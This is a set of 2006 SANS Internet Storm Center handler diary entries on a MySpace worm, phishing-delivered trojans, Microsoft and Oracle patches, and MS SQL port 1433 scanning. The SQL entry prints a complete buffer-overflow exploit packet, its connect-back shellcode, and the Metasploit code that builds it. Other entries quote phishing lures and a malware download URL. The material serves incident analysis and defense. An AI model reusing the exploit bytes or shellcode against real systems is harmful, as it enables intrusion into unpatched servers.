0 Comments

Published: 2006-07-26

A Few Thoughts on the Recent MySpace Worm

As we mentioned in the July 17th handler's diary, a powerful worm hit MySpace about 1.5 weeks ago.  There have been a few confusions regarding this and other recent MySpace incidents. The purpose of this note is to clarify these confusions.

MySpace is a social networking site that is popular among those who are young in spirit and have an affinity for music. According to a recent announcement by Hitwise, MySpace has become the #1 most popular destination on the Web. Netcraft ranks MySpace as the 77th most popular desgination, though.

An unusual aspect of this worm was that it resided purely on MySpace pages, rather than installing itself on personal computers of its victims. The essential component of the worm, which Symantec called ACTS.Spaceflash, was a Flash object that was embedded in the victims' profile pages on MySpace. The offending code resided in the redirect.swf file, and looked like this, according to the person who analyzed the worm's code:

getURL("http://editprofile.myspace.com/index.cfm?
fuseaction=blog.view&friendID=93634373&blogID=144877075", "_self");


The viewer of the Flash object was redirected to a page that, through clever scripting, modified the victim's profile. As a result, whenever someone viewed the victim's profile, the viewer's profile would also get infected.

The same MySpace weakness has been exploited since at least February 2006 to harvest logon credentials of MySpace users. This redirecting technique was referenced on Digg.com, which pointed to a password-harvesting toolkit whose description is still in Google cache.

Essentially, the weakness that these attacks exploited was the ability of users to embed active content in the form of Flash objects in MySpace pages.

Note that this weakness is not related to the recent issue that Macromedia fixed in Flash Player, despite what many stories reported. Macromedia's patch corrected a memory corruption condition that could allow an attacker to execute arbitrary code on a vulnerable system, according to US-CERT. (If you haven't already, you should upgrade your Flash Player to version 9 to fix this vulnerability.)

Coincidentally, MySpace addressed the weakness that the worm exploited by requiring that MySpace users who wish to view Flash objects hosted on MySpace upgrade to Flash Player 9. The reason is because Flash Player 9 supports a new tag that allows MySpace to disable the URL-redirecting feature. The new tag, briefly described in Marcomedia's documentation, looks like this:

allowNetworking="internal"

MySpace started automatically adding this tag to all Flash objects that it hosts. The unfortunate side effect is that many third-party Flash wrappers, such as YouTube, rely on the URL-redirecting functionality to bring viewers to its site and sponsors. As pointed out by TechCrunch, this move "will likely do serious damage to the cottage industry of flash widgets in MySpace."

This is not the first worm that hit the MySpace site. The Sammy or JS.Spacehero worm took advantage of a cross-site scripting (XSS) flaw in MySpace to affect over a million users about 9 months ago. Also, note that these incidents are  distinct from the MySpace ad-based attack that also affected about persons in the span of the last month. The ad attack took advantage of the seven-month-old WMF exploit that targeted website visitors through a banner ad; if you haven't applied the WMF patch yet, you really should. Finally, do not confuse these issues with the power outage that knocked MySpace off-line along with several other popular websites for a few days this weekend.

Well, I think that about sums it up for now.

-- Lenny

Lenny Zeltser
www.zeltser.com


0 Comments

Published: 2006-07-24

Exploits for new microsoft vulnerabilities.

We have been made aware of publicly available exploit code for MS06-034, MS06-035, and MS06-036.
If you haven't already patched for these vulnerabilities you should take immediate action.

For more information on those vulnerablies here are links to the original diary entries for them.
http://isc.sans.org/diary.php?storyid=1473

http://isc.sans.org/diary.php?storyid=1471

http://isc.sans.org/diary.php?storyid=1472

I have not tested any of the exploits yet.
I do not plan to provide the urls or even a hint as to where to get the exploits so do not bother asking.

0 Comments

Published: 2006-07-24

new Haxdoor

We received several notifications of an email being spoofed from ecost. It is being used to "socially engineer" or trick people into installing a new version of Haxdoor.

This virus was largely undetected by most of the commercial antivirus vendors yesterday. We have submitted samples to most of the commercial antivirus vendors.
They are responding rapidly and in many cases they are able to detect it now.

Antivirus Version Update Result
AntiVir 6.35.0.24 07.23.2006 no virus found
Authentium 4.93.8 07.21.2006 no virus found
Avast 4.7.844.0 07.23.2006 no virus found
AVG 386 07.21.2006 no virus found
BitDefender 7.2 07.22.2006 BehavesLike:Trojan.WinlogonHook
CAT-QuickHeal 8.00 07.22.2006 (Suspicious) - DNAScan
ClamAV devel-20060426 07.21.2006 no virus found
DrWeb 4.33 07.23.2006 no virus found
eTrust-InoculateIT 23.72.76 07.23.2006 no virus found
eTrust-Vet 12.6.2305 07.21.2006 Win32/Haxdoor!generic
Ewido 4.0 07.23.2006 no virus found
Fortinet 2.77.0.0 07.23.2006 suspicious
F-Prot 3.16f 07.21.2006 no virus found
F-Prot4 4.2.1.29 07.21.2006 no virus found
Ikarus 0.2.65.0 07.23.2006 no virus found
Kaspersky 4.0.2.24 07.24.2006 no virus found
McAfee 4812 07.21.2006 no virus found
Microsoft 1.1508 07.24.2006 no virus found
NOD32v2 1.1675 07.23.2006 no virus found

Norman 5.90.23 07.21.2006 no virus found
Panda 9.0.0.4 07.23.2006 Suspicious file
Sophos 4.07.0 07.23.2006 no virus found
Symantec 8.0 07.24.2006 no virus found
TheHacker 5.9.8.180 07.24.2006 no virus found
UNA 1.83 07.21.2006 no virus found
VBA32 3.11.0 07.24.2006 no virus found
VirusBuster 4.3.7:9 07.23.2006 Trojan.DR.Haxdoor.Gen.4
 

---- Text from original message -----
Dear Sir/Madam,

Thank you for shopping with our internet shop. Your order, WC2905036, has been received. Summary of your order you can see in the attachment file.

This email is to confirm the receipt of your order. Please do not reply as this email was sent from our automated confirmation system.

Please Note: There is no need to re-send your request or call our
customer service department for status or tracking number, this will
only delay our response time to you. Rest assured, we are making every
effort to process and ship your order within 1 to 2 business days. We
appreciate your understanding and patience and do value your business. 

Once your order has been processed and shipped a FEDEX Tracking number
will be automatically emailed to the address provided.

Please Note: Tracking information will be available in FedEx's system
only after 10pm EST Monday thru Friday. If you receive a tracking
number on Sunday, you will be able to track it Monday evening after
10pm EST.
All orders placed including 1-2 or 2-3 business day options are
shipped within 48 hours providing the merchandise is in stock.

All FedEx Ground orders will take 7-10 business days to arrive.
Some packages may require a signature upon delivery. These packages
will not be left without a signature. For your convenience, we will
email you a FedEx tracking number on all successfully processed and
shipped orders.
All Plasma TVs, DVD players, Scanners, Fax Machines, Receivers, Home
Theater, and Printers are not returnable after box is opened.

To insure the best handling of your order please allow 24-48 business
hours for the processing and the shipping of your order. Thank you for
your cooperation.

We hope you enjoy your order!  Thank you for shopping with us!
----- End text from message -----


0 Comments

Published: 2006-07-23

E-Gold Scams

Reader Ivan alerted us earlier today about an email scam that has surfaced in the past few days.  Here's the text of the message he saw:

Subject: egold transaction
Message:

Good day,
Yesterday I was checking my egold account and was surprised at what I saw: I had almost 200 ounces of gold (USD 100,177.90). I never had so much money, (I only had USD177.90 in my account at he time of this transaction) I don't know how did they get there. I clicked on history and saw that money were transferred 2 hours ago, in the memo field I saw your email address:[email] When I was trying to sort this out - money disappeared from my egold account. I lost my money and money that came from nowhere. I changed my password immediately and now I am trying to find out what has happened. Luckily I made a screenshot with the transaction history for you to see and tell me what is going on. I hope that you will let me know what has happened. I did not contact egold support yet. I hope that we will be able to sort this matter ASAP. Before I will contact them.
Regards,
Jannet Johnston


Not a bad job of building a scam.  As you might expect, there was a file attachment that looks fairly innocent, "screen.zip" and likely would fool many unsuspecting victims.  Opening the file we find an executable file inside the archive that is named "screen.jpeg (many spaces) .exe" that in turn has a filesize of 8,485 bytes.  Most of you know what happens next...

Ivan did a bit more analysis and found that the .exe file drops a .dll component that is installed as a Browser Helper Object (BHO).  The dropped component also downloads mailordermarijuana.ca/images/mod.gif (careful!!)  The mod.gif file (11,570 bytes) is also a .exe dropper which in turn also installs another .dll in the infected system.  The second .dll looks like a Trojan-Spyware stealing e-gold account information from the users of the infected system.

Handler Lenny found a blog that seems to indicate this scam started a few days ago.

Thanks, Ivan.  Readers like you are the backbone of the SANS Internet Storm Center and we really appreciate those who send in their own analysis for us to turn around in alerts to others.

Marcus Sachs
Director, SANS Internet Storm Center

0 Comments

Published: 2006-07-23

Yahoo! et al Status

There was a lengthy outage of the Yahoo Messenger and email services late Saturday into Sunday morning.  We tried to contact Yahoo to find out what was going on but did not get a response.  Looking around the 'net I found some discussions, a few sites said it was a DNS issue, others said that Yahoo was having hardware problems. Another guessed that it was due to power outages in California. Either way, it got me thinking how important it is for Network Operations Centers (NOCs) to keep their customers informed about the status of the service they are providing.  There are places on the 'net that list NOC phone numbers and points of contact (Jared Mauch's site is my favorite) but most do not have URLs for status sites which would be more convenient than calling an 800 number and leaving a message.  Do you run a NOC or SOC?  Do you have a web page where customers can see in near real time the status of your services?  If so, let us know via our contact page and we'll build a page off our our links page that lists the popular NOC status sites so that readers have a way to know immediately what is going on. 

Marcus Sachs
Director, SANS Internet Storm Center

0 Comments

Published: 2006-07-22

A Lesson Learned from the Mailbox

From today's mailbox, William writes:

I walked up to my home computer only to find it acting on its own. I now understand it was the RealVnc 4.1.1 attack. Anyways, the computer is on a dialup connection, so they were working slowly. I unpluged the modem at once, leaving them cut off. They were in the process of downloading a virus from what i suspect to be a personal httpd. the address is [REDACTED], its full of hacker goodies you might like to look at. Either way, i feel really silly now, and pledge to keep up on my upgrades.

There are a few lessons from this report:
* The obvious ones are keep up on your patches and don't run unecessary services
* "I don't have anything on my computer that hackers would want," which I hear a lot from my extended family, is universallyl incorrect-- they want your computer.
* Bots don't know if you're on dial-up.

Thanks for the report William!

0 Comments

Published: 2006-07-22

Powerpoint Vulnerabilty and MalCode Review

Recent vulnerabilities affecting PowerPoint:

MS06-010: Vulnerability in PowerPoint 2000 Could Allow Information Disclosure (889167)
CVE-2006-0004
CVSS base: 2.3

MS06-028: Vulnerability in Microsoft PowerPoint Could Allow Remote Code Execution (916768)
CVE-2006-0022
CVSS base: 5.6

Microsoft PowerPoint Unspecified Code Execution Vulnerability
CVE-2006-3590
CVSS base: 5.6
Vendor Announcements:
http://www.microsoft.com/technet/security/advisory/922970.mspx
http://blogs.technet.com/msrc/archive/2006/07/14/441893.aspx
Patch is currently un-available
Malcode exploiting this vulnerability has been identified, signatures are available.  
Aliases: Trojan.PPDropper.B, TROJ_MDROPPER.AS

Microsoft PowerPoint Memory Corruption Vulnerabilities
CVE-2006-3655
CVSS base: 5.6
Proof of concept code exists
Patch is currently un-available

CVE-2006-3656
CVSS base: 1.9
Proof of concept code exists
Patch is currently un-available

CVE-2006-3660
CVSS base: 5.6
Proof of concept code exists
Patch is currently un-available

These were reported on the Handler's Diary here: http://isc.sans.org/diary.php?storyid=1484

0 Comments

Published: 2006-07-22

Microsoft July Security Bulletin Review

A quick little, "where are we now" review.

Initial July Microsoft announcement:
http://www.microsoft.com/technet/security/bulletin/ms06-jul.mspx

MS06-033: Vulnerability in ASP.NET Could Allow Information Disclosure (917283)
CVE-2006-1300
CVSS base: 2.3

MS06-034: Vulnerability in Microsoft Internet Information Services using Active Server Pages Could Allow Remote Code Execution (917537)
CVE-2006-0026
CVSS base: 4.2
initial ISC announement: http://isc.sans.org/diary.php?storyid=1473
reported to have some patch issues: http://isc.sans.org/diary.php?storyid=1481
http://support.microsoft.com/kb/917537
Microsoft updated the .cab file: http://isc.sans.org/diary.php?storyid=1494
http://blogs.technet.com/msrc/archive/2006/07/18/442388.aspx
exploit code is available

MS06-035: Vulnerability in Server Service Could Allow Remote Code Execution (917159)
aka "Mailslot"
CVE-2006-1314
CVSS base: 7.0
CVE-2006-1315
CVSS base: 2.3
initial ISC announement: http://isc.sans.org/diary.php?storyid=1471
exploit code is available

MS06-036: Vulnerability in DHCP Client Service Could Allow Remote Code Execution (914388)
CVE-2006-2372
CVSS base: 7.0 temporal: 5.8
initial ISC announement: http://isc.sans.org/diary.php?storyid=1472
exploit code is available: http://isc.sans.org/diary.php?storyid=1502

MS06-037: Vulnerabilities in Microsoft Excel Could Allow Remote Code Execution (917285)
CVE-2006-1301
CVE-2006-1302
CVE-2006-1304
CVE-2006-1306
CVE-2006-1308
CVE-2006-1309
CVE-2006-2388
CVE-2006-3059
CVSS base: 5.6
initial ISC announement: http://isc.sans.org/diary.php?storyid=1474

MS06-038: Vulnerabilities in Microsoft Office Could Allow Remote Code Execution (917284)
CVE-2006-1316 – Microsoft Office Parsing Vulnerability
CVSS base: 5.6
CVE-2006-1540 – Microsoft Office Malformed String Parsing Vulnerability
CVSS base: 1.1
CVE-2006-2389 – Microsoft Office Property Vulnerability
CVSS base: 6.5
initial ISC announement: http://isc.sans.org/diary.php?storyid=1475

MS06-039: Vulnerabilities in Microsoft Office Filters Could Allow Remote Code Execution (915384)
CVE-2006-0033
CVSS base: 3.7
CVE-2006-0007
CVSS base: 5.6
initial ISC announement: http://isc.sans.org/diary.php?storyid=1476

0 Comments

Published: 2006-07-22

DHCP exploit publicly available (MS06-036)

As a "present" for blackhat an exploit against the DHCP client of Windows 2000 was released publicly. See MS06-036 for more details.

The exploit claims to add the user "bl4ck" with a very insecure password and might cause the service to terminate. The author left some suggestions for "improvement" in the source code, so expect potentially nastier versions to be used in real life.

If you still have not patched your Windows client systems, it is a very good time to do so now.

The nature of DHCP makes it so that any device on a LAN can answer any and all DHCP request. So be sure people understand there is no need to attack or compromise any server first. Detecting this is helped slightly by DHCP's use of broadcasts (the client doesn't have an IP address).

It is quite imaginable that this gets used not just over wired networks - where the defending staff could disable a port in a worst-case scenario - but also over wireless networks, hotspots, hotels etc. where no such option is available. Or it could be used in a multi-stage attack where this gets inside your network in other ways and then does its "magic" on the local LAN.

--
Swa Frantzen -- Section 66

0 Comments

Published: 2006-07-21

Solution to the TCP 1433 Traffic

General Information
===================

Two days ago, we received an email from Warner indicating that he was seeing significantly larger than usual amounts of network traffic being blocked by their firewall that was attempting to connect to hosts on TCP port 1433 - the port associated with Microsoft SQL Server.  He had also looked at the DShield report for that port and noticed this appeared to not be localized to his organization.

Yesterday, we sent out a request for packet captures.  We have received replies from several ISC readers (Tyler, Phil, Anssi, and others) that provided us with some network packet captures as well as with the results of setting up a Netcat listener on that port on systems without Microsoft SQL Server.

When we looked at the packet captures, we saw the data appeared to include a Tabular Data Stream protocol packet.  This is used by MS-SQL and other SQL servers.


Packet Data
===========

The contents of the raw data packet captured from the Netcat listener looks like this:

^R^A^@4^@^@^@^@^@^@^U^@^F^A^@^[^@^A^B^@^\^@^L^C^@(^@^Dÿ^H^@
^B^P^@^@^@MMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMM^[Â
¥Ã®4CCCCº<8a>¶BP^^Ã?BP^^Ã?B3333P^Ã?BAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAë^U¹<8b>æ^SA<81>ñ9æ^SA^<80>t1ÿæÿÿÿ<82>jÃ
:ò<81>
:ñ½:�­^\:ɹYô±±±âç:î<8d>:í<8a>ɲnâ:ê<91>²nâ
2rµ:<82>²F<82>x^]<83>ypp
´5qÄG<9a>{ÄXÃNQïÙ<82><83>±±
ÙÆÂ<83>îå^K#ßµ5Ng:I0]±³±±:]âÛ°Û³^K2â2±Ngâ
âÃ
####²Ã™Â³Â±Â¿<99>:e:iÛ¡ãâ^KÃ'<81>Ã'ëNgá^E³áäâ^
K±éÃ'SNg^NàÃ?Ù<89>NT^@$^A^@^@


Note: In the above and following packet dumps in this diary, the ## characters represent bytes that have been masked out to hide the involved IP address.

The two long sequences of M's and A's appear to be two seperate NOP sleds included in the packet payload.

After running the data file through "od -x", the hexadecimal representation of the data is this:

0000000 0112 3400 0000 0000 0000 0015 0106 1b00
0000020 0100 0002 001c 030c 2800 0400 08ff 0200
0000040 0010 0000 4d4d 4d4d 4d4d 4d4d 4d4d 4d4d
0000060 4d4d 4d4d 4d4d 4d4d 4d4d 4d4d 4d4d 4d4d
*
0001060 4d4d 4d4d a51b 34ee 4343 4343 8aba 42b6
0001100 1e50 42d0 1e50 42d0 3333 3333 1e50 42d0
0001120 1e50 42d0 4141 4141 4141 4141 4141 4141
0001140 4141 4141 4141 4141 4141 4141 4141 4141
*
0001240 4141 4141 4141 4141 4141 4141 15eb 8bb9
0001260 13e6 8141 39f1 13e6 5e41 7480 ff31 e2b1
0001300 ebf9 e805 ffe6 ffff 6a82 3ad5 81f2 f13a
0001320 3abd adc1 3a1c b9c9 f459 b1b1 e2b1 3ae7
0001340 8dee ed3a c98a 6eb2 3ae2 91ea 6eb2 32e2
0001360 b572 823a 46b2 7882 831d 7079 b470 7135
0001400 47c4 7b9a 58c4 9ae9 6069 ef5a efb2 b295
0001420 d76e ba3a ef3a b2ad 3a6e 3ab5 76b2 eaef
0001440 514e d9ef 8382 b1b1 c6d9 83c2 e5ee 230b
0001460 b5df 4e35 3a67 3049 b15d b1b3 3ab1 e25d
0001500 b0db b3db 320b 32e2 4eb1 e267 d9e2 ####
0001520 #### b3d9 bfb1 3a99 3a65 db69 e3a1 0be2
0001540 81d2 ebd1 674e 05e1 e1b3 e2e4 b10b d1e9
0001560 4e53 0e67 dde0 89d9 544e 2400 0001 0000
0001577

The first column in each row is the relative offset from the start of the file and the remaining 8 columns display 16 bytes of data on each row.  The two rows that only display '*' are compressed displays indicating that everything since the last byte on the prior line to the first byte on the next line was the same character.  These are the locations of the M's and A's -- represented here by the hexadecimal values 0x4d and 0x41.


Network Traffic
===============

I built a VMware image with Windows 2000 Server and SQL Server 2000 to test this against.  I ran Wireshark on the box to capture traffic and used Netcat to throw the captured data against the box.  The results below show the connection to the SQL Server on TCP port 1433.  We see the 3-way handshake and the next packet is the capture data.  What was odd was what I saw next.  The Windows 2000 server then tried to establish an outbound connection to an external IP address:


13:39:34.858966 IP 192.168.5.116.1353 > 192.168.5.123.ms-sql-s: S 3743295663:3743295663(0) win 16384 <mss 1460,nop,nop,sackOK>
13:39:34.859032 IP 192.168.5.123.ms-sql-s > 192.168.5.116.1353: S 1515250204:1515250204(0) ack 3743295664 win 64240 <mss 1460,nop,nop,sackOK>
13:39:34.859395 IP 192.168.5.116.1353 > 192.168.5.123.ms-sql-s: . ack 1515250205 win 17520
13:39:34.871658 IP 192.168.5.116.1353 > 192.168.5.123.ms-sql-s: P 3743295664:3743296559(895) ack 1515250205 win 17520
13:39:34.882966 IP 192.168.5.123.1071 > XX.XX.153.67.3624: S 1515315572:1515315572(0) win 64240 <mss 1460,nop,nop,sackOK>
13:39:34.924571 IP XX.XX.153.67.3624 > 192.168.5.123.1071: R 0:0(0) ack 1515315573 win 0
13:39:34.999732 IP 192.168.5.123.ms-sql-s > 192.168.5.116.1353: . ack 3743296559 win 63345
13:39:35.437323 IP 192.168.5.123.1071 > XX.XX.153.67.3624: S 1515315572:1515315572(0) win 64240 <mss 1460,nop,nop,sackOK>
13:39:35.480682 IP XX.XX.153.67.3624 > 192.168.5.123.1071: R 0:0(0) ack 1515315573 win 0
13:39:35.983887 IP 192.168.5.123.1071 > XX.XX.153.67.3624: S 1515315572:1515315572(0) win 64240 <mss 1460,nop,nop,sackOK>
13:39:36.029660 IP XX.XX.153.67.3624 > 192.168.5.123.1071: R 0:0(0) ack 1515315573 win 0

Also, when I first tried throwing the data against my VMware image, the Internet Worm Protection module in my Norton AntiVirus 2006 software blocked the traffic.  It matched the "MS SQL Long Request Hello BO" signature that it has.  After disabling the Internet Worm Protection, I was able to test the packet and get the data shown above.


Packet Analysis - Exploit
=========================

I started looking at the data and breaking it apart into pieces.  We know there was a vulnerability in Microsoft SQL Server 2000 back in August 2002 so the question was was someone just playing with an old exploit or is there possibly a new vulnerability being exploited.

I took a look at the Metasploit Framework and looked at the mssql2000_preauthentication exploit module.  It contains the following code snippet to build its exploit code.  Does it look familiar?  Its a match for what we saw above in the "od -x" output.  The pairs of bytes are reversed due to the difference between Intel longint vs network byte order.

my $request = "\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b".
"\x00\x01\x02\x00\x1c\x00\x0c\x03\x00\x28\x00\x04\xff\x08\x00\x02".
          "\x10\x00\x00\x00" .
          ("M" x 528) . "\x1B\xA5\xEE\x34" . "CCCC" .
          pack('V', $target->[1]).
          pack('V', $target->[2]).
          pack('V', $target->[2]).
          "3333".
          pack('V', $target->[2]).
          pack('V', $target->[2]).
          ("\x41" x 88) . $shellcode .
          "\x00\x24\x01\x00\x00";

The first 18 bytes match, then we have the "M" NOP-sled then 8 more bytes that match.  The next 12 bytes before the "3333 3333" (which corresponds to the "CCCC" above) and the 8 bytes after it are the VAX byte-order packed representations of the two target options for this MSF exploit.  

After that, we have the "A" NOP-sled.  Up to this point, our sample packet has matched completely.  The MSF exploit doesn't have a specific shellcode payload so if we skip over that we see we again match against the last 5 bytes in the exploit and our data.


Payload Analysis - Payload
==========================

So now lets turn to the payload.  If we eliminate everything before and after it, we are left with this:

15eb 8bb9 13e6 8141 39f1 13e6 5e41 7480 ff31 e2b1 ebf9 e805 ffe6 ffff 6a82 3ad5 81f2 f13a 3abd adc1 3a1c b9c9 f459 b1b1 e2b1 3ae7 8dee ed3a c98a 6eb2 3ae2 91ea 6eb2 32e2 b572 823a 46b2 7882 831d 7079 b470 7135 47c4 7b9a 58c4 9ae9 6069 ef5a efb2 b295 d76e ba3a ef3a b2ad 3a6e 3ab5 76b2 eaef 514e d9ef 8382 b1b1 c6d9 83c2 e5ee 230b b5df 4e35 3a67 3049 b15d b1b3 3ab1 e25d b0db b3db 320b 32e2 4eb1 e267 d9e2 #### #### b3d9 bfb1 3a99 3a65 db69 e3a1 0be2 81d2 ebd1 674e 05e1 e1b3 e2e4 b10b d1e9 4e53 0e67 dde0 89d9 544e

If we flip each pair of bytes and add the \x hex notation, we end up with:

\xeb\x15\xb9\x8b\xe6\x13\x41\x81\xf1\x39\xe6\x13\x41\x5e\x80\x74
\x31\xff\xb1\xe2\xf9\xeb\x05\xe8\
xe6\xff\xff\xff\x82\x6a\xd5\x3a
\xf2\x81\x3a\xf1\xbd\x3a\xc1\xad\x1c\x3a\xc9\xb9\x59\xf4\xb1\xb1
\x
b1\xe2\xe7\x3a\xee\x8d\x3a\xed\x8a\xc9\xb2\x6e\xe2\x3a\xea\x91
\xb2\x6e\xe2\x32\x72\xb5\x3a\x82\xb
2\x46\x82\x78\x1d\x83\x79\x70
\x70\xb4\x35\x71\xc4\x47\x9a\x7b\xc4\x58\xe9\x9a\x69\x60\x5a\xef
\xb2
\xef\x95\xb2\x6e\xd7\x3a\xba\x3a\xef\xad\xb2\x6e\x3a\xb5\x3a
\xb2\x76\xef\xea\x4e\x51\xef\xd9\x82\
x83\xb1\xb1\xd9\xc6\xc2\x83
\xee\xe5\x0b\x23\xdf\xb5\x35\x4e\x67\x3a\x49\x30\x5d\xb1\xb3\xb1
\xb1\x
3a\x5d\xe2\xdb\xb0\xdb\xb3\x0b\x32\xe2\x32\xb1\x4e\x67\xe2
\xe2\xd9\x##\x##\x##\x##\xd9\xb3\xb1\xb
f\x99\x3a\x65\x3a\x69\xdb
\xa1\xe3\xe2\x0b\xd2\x81\xd1\xeb\x4e\x67\xe1\x05\xb3\xe1\xe4\xe2
\x0b\xb1
\xe9\xd1\x53\x4e\x67\x0e\xe0\xdd\xd9\x89\x4e\x54

Now lets start doing some searches.  I didn't find any matches for the entire sequence but when I looked for pieces of it, I got some possible hits with Nepenthes.  I looked through its source code, and in modules/shellcode-signatures/shellcode-signatures.sc, I found:


// taken from shellcode-generic/sch_generic_linkxor.cpp

linkxor::link
{

/*
 * look at the source for information
 *
 */
        pattern "\\xEB\\x15\\xB9(....)\\x81\\xF1(....)\\x5E\\x80\\x74\\x31\\xFF(.)\
\xE2\\xF9\\xEB\\x05\\xE8\\xE6\
\xFF\\xFF\\xFF(.*)";
        mapping (none,size,size,key,post);
};


Since it seems like Nepenthes knows something about this payload, I threw the packet at my Nepenthes sensor and got the following results:

[ crit sc handler ] MATCH linkxor::link  matchCount 5 map_items 5
[ info sc handler ]  i = 1 map_items 5 , map = size
[ info sc handler ]  i = 2 map_items 5 , map = size
[ info sc handler ]  i = 3 map_items 5 , map = key
[ info sc handler ]  i = 4 map_items 5 , map = post
[ info sc handler ] Found linkbot XOR decoder, key 0xb1, payload is 0x00b2 bytes long.
[ crit ] Stored Hexdump var/hexdumps/8ce93295c9611ee55720e6488651a7d1.bin (0x09416898 , 0x000000b7).
[ info sc handler ] connectbackfiletransfer::linktransfer -> XX.XX.153.67:3624
[ info sc handler ] connectbackfiletransfer::linktransfer -> XX.XX.153.67:3624, key 0x516c6838.
[ info down mgr ] Handler link download handler will download link://XX.XX.153.67:3624/UWxoOA==
[ crit net handler ] ERROR Could not connect host Invalid argument


Ah hah!!  Linkbot XOR decoder.  Last night several of us were looking at this and translating some of the assembly opcodes.  One of the other ISC handlers, Arrigo "The Human Disassembler" Triulzi, had stated "this is an XOR decode if you ask me".  Score 1 for Arrigo.

And the IP address that I had seen my server try to connect to was displayed here as well.

So it looks like someone is just looking for old Microsoft SQL Server 2000 systems that still haven't been patched yet.

For more information about LinkBot, take a look at this
page for the Nepenthes project's writeup on the Lindau Shellcode (alias Linkbot)

David Goldsmith

0 Comments

Published: 2006-07-20

Mailbag

On what otherwise (so far :-) seems to be a slow news day, here's a couple of items that popped up in the ISC inbox today:
  • MS released an "Office 2004 for MAC 11.2.5" update a couple of days ago. If you are not using "auto update", manually installing this one might be worthwhile. "An attacker can overwrite your computer's memory with malicious code", now isn't this ample enticement to patch ...
  • A cute little Phish Mail that claims to come from the IRS (Internal Revenue Service) who are desperately trying to refund some money directly to your Visa card. All they need is your Social Security Number and the Visa card #.  And, incidentially, IRS processing seems to be done in Romania (hxxp://ap[dot]ro) nowadays. Outsourcing, most likely :-)
  • You didn't order a copy of SpyDoctor? Well, your credit card is going to be charged anyway, unless you open the attachment to find out the details. The attachment in question is now being detected as Trojan-Downloader-AJK by Sophos.
    [Note: This entry is not about SpyWARE Doctor by PCTools, which is one of the "good" tools]

In other words, just like any other day on the *net.
-daniel

0 Comments

Published: 2006-07-19

Cisco MARS vulnerabilities

Cisco released earlier today an advisory pointing out vulnerabilities in one of their security managment products: Cisco Security Monitoring, Analysis and Response System (CS-MARS).

  • The included Oracle database has default passwords
  • The included JBoss webserver allows remote code execution
  • A privilege escalation problem that allows administrators to gain root access to the machine
--
Swa Frantzen -- Section 66

0 Comments

Published: 2006-07-19

New Challenge: Hack Bill!

I'm really happy to announce that my buddy and fellow ISC handler Mike Poor wrote a new movie-themed security challenge.  These challenges are designed to test your incident handling and security skills, in a fun and playful way.  I've written 17 of them myself, and now, I've invited some of my friends to write them.

Mike's handiwork is based on the _Kill_Bill_ movie by Quentin Tarantino.  He calls it, appropriately enough, _Hack_Bill_.  Read the challenge here, and submit your answers by July 31 to win a fine prize (an autographed copy of Counter Hack Reloaded, signed by Mike and me).  This one tests some nifty UNIX skills... and even if you don't know all of the answers, enter anyway.  We'll give away prizes to the best technical and creative answers, as well as one drawn randomly from all entrants.

BTW, look carefully at those UNIX commands in the challenge.  Several people have written thinking that there are mistakes in these commands.  There are not.  Each one is carefully calibrated to test your knowledge.  :)

0 Comments

Published: 2006-07-19

TCP/1433 spike: Call for Packets.

One of our readers, Warner, noted today what initially appeared to be a localized attack on port 1433/tcp (Microsoft SQL Port).  After some continued investigation we are seeing a bit of a spike in the Dshield data, we are indeed seeing a similar spike elsewhere.


Next step is to identify for what they are scanning. This will involve answering the SYN packets and seeing what happens. We already know there are many SYNs, we want to try to figure out what happens if the handshake completes.

Setting up something to answer can be done using netcat: "nc -l 1433 > capturefile" or "nc -L -p 1433 > capturefile" (depending on the version of netcat you're using) but it might need more of the protocol before it does its magic, so some experimentation might be needed.

Upload captures through the contact page please.

We'll update this story as it evolves.

Thanks to all handlers working on this: Scott, David, William, Robert, ...
--
Swa Frantzen -- Section 66

0 Comments

Published: 2006-07-19

Oracle quarterly patches

Oracle released patches yesterday. All details are -traditionally- hidden behind metalink login screens.

I counted 65 vulnerabilities (give or take a few) in the report, no workarounds for any of them have been released.

Since we're not supposed to look deeper than the surface it's very hard to add any value to what Oracle released, so be sure to get more details if you have any of their software running and make sure it gets appropriately patched ASAP.

In the past I found it helpful to print out the tables of the vulnerabilities, highlight the software and versions we were using and then going over those left with a DBA sitting next to me to determine what was to be patched how and when. Unfortunately you might run into 3rd party vendors not approving of any upgrading/patching creating a catch-22 situation.

If you run exposed (e.g. http) oracle based servers this might be one of those moments to reconsider the architecture. Yes, it's not without pain, and the developers of the application will hate you for it.  But at least you get back some control over what patch goes on when, instead of being forced to rely on obscurity for months in a row.

The next scheduled batch of patches for Oracle is due on October 17th. So make sure the days after it are marked to not let the DBAs take a vacation at that time.

Disclaimer: I really do not like Oracle's handling of patches at all: I find 3 months way too long; 65 vulnerabilities to deal with in one go way too many; I hate not being able to see any details; I feel they could come up with some workarounds in those months preceding their release; I wonder how many bad guys do have and use a metalink login/password, while any self-respecting security professional cannot ... .

Thanks to fellow handler Koon Yaw Tan for noticing the release.

--
Swa Frantzen -- Section66

0 Comments

Published: 2006-07-18

MS 06-034 Update

Last night, Microsoft updated the wsusscan.cab to address 2 deployment problems concerning this patch. The first issue involves the patch being re-offered to some users.  In the other case involves the patch silently failing in Windows 2003 SP1 environment.

So, Windows Server 2003 SP1 admins probably need to re-run detection for this update due to the nature of its failure.   For more information  please see http://blogs.technet.com/msrc/archive/2006/07/18/442388.aspx


---
